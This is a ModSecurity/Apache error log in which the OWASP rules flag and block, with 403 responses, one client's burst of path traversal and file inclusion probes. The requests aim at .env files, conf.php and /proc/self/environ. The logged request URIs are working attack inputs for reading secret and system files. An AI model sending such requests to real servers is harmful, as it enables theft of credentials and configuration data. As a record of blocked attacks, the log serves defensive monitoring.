[Mon Oct 26 10:03:28.193317 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9dsLGXTlA520hhAgG8CwAAAA8"]
[Mon Oct 26 10:03:28.193364 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9dsLGXTlA520hhAgG8CwAAAA8"]
[Mon Oct 26 10:03:28.194084 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9dsLGXTlA520hhAgG8CwAAAA8"]
[Mon Oct 26 10:03:28.194346 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at9dsLGXTlA520hhAgG8CwAAAA8"]
[Mon Oct 26 10:03:28.195290 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsE9qPMNS87qzj5gkRAAAABE"]
[Mon Oct 26 10:03:28.195447 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsE9qPMNS87qzj5gkRAAAABE"]
[Mon Oct 26 10:03:28.195665 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsE9qPMNS87qzj5gkRAAAABE"]
[Mon Oct 26 10:03:28.205543 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9dsNdWtrCZuT8sbNQ5gwAAACU"]
[Mon Oct 26 10:03:28.206021 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9dsNdWtrCZuT8sbNQ5gwAAACU"]
[Mon Oct 26 10:03:28.206262 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at9dsNdWtrCZuT8sbNQ5gwAAACU"]
[Mon Oct 26 10:03:28.223809 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b2wAAAAc"]
[Mon Oct 26 10:03:28.223899 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b2wAAAAc"]
[Mon Oct 26 10:03:28.224038 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b2wAAAAc"]
[Mon Oct 26 10:03:28.224248 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b2wAAAAc"]
[Mon Oct 26 10:03:28.243169 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at9dsIkBAlsUe0HxPuSmLQAAAA4"]
[Mon Oct 26 10:03:28.243795 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at9dsIkBAlsUe0HxPuSmLQAAAA4"]
[Mon Oct 26 10:03:28.244105 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at9dsIkBAlsUe0HxPuSmLQAAAA4"]
[Mon Oct 26 10:03:28.247103 2026] [core:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] AH10244: invalid URI path (/static/../../../a/../../../../proc/self/environ)
[Mon Oct 26 10:03:28.248373 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsAt8dJFpdHay4jzKlwAAAAA"]
[Mon Oct 26 10:03:28.248540 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsAt8dJFpdHay4jzKlwAAAAA"]
[Mon Oct 26 10:03:28.248747 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsAt8dJFpdHay4jzKlwAAAAA"]
[Mon Oct 26 10:03:28.249552 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsNdWtrCZuT8sbNQ5hAAAACU"]
[Mon Oct 26 10:03:28.249707 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsNdWtrCZuT8sbNQ5hAAAACU"]
[Mon Oct 26 10:03:28.249940 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9dsNdWtrCZuT8sbNQ5hAAAACU"]
[Mon Oct 26 10:03:28.253873 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsLnmpHTSsAiKbb2b3AAAAAc"]
[Mon Oct 26 10:03:28.253926 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsLnmpHTSsAiKbb2b3AAAAAc"]
[Mon Oct 26 10:03:28.253976 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsLnmpHTSsAiKbb2b3AAAAAc"]
[Mon Oct 26 10:03:28.254305 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsLnmpHTSsAiKbb2b3AAAAAc"]
[Mon Oct 26 10:03:28.254517 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsLnmpHTSsAiKbb2b3AAAAAc"]
[Mon Oct 26 10:03:28.294181 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39480] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at9dsLcZuT5gdeNd6aUKEgAAAAs"]
[Mon Oct 26 10:03:28.294553 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at9dsLcZuT5gdeNd6aUKEgAAAAs"]
[Mon Oct 26 10:03:28.294769 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at9dsLcZuT5gdeNd6aUKEgAAAAs"]
[Mon Oct 26 10:03:28.296289 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsE9qPMNS87qzj5gkRgAAABE"]
[Mon Oct 26 10:03:28.296345 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsE9qPMNS87qzj5gkRgAAABE"]
[Mon Oct 26 10:03:28.296376 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at9dsE9qPMNS87qzj5gkRgAAABE"]
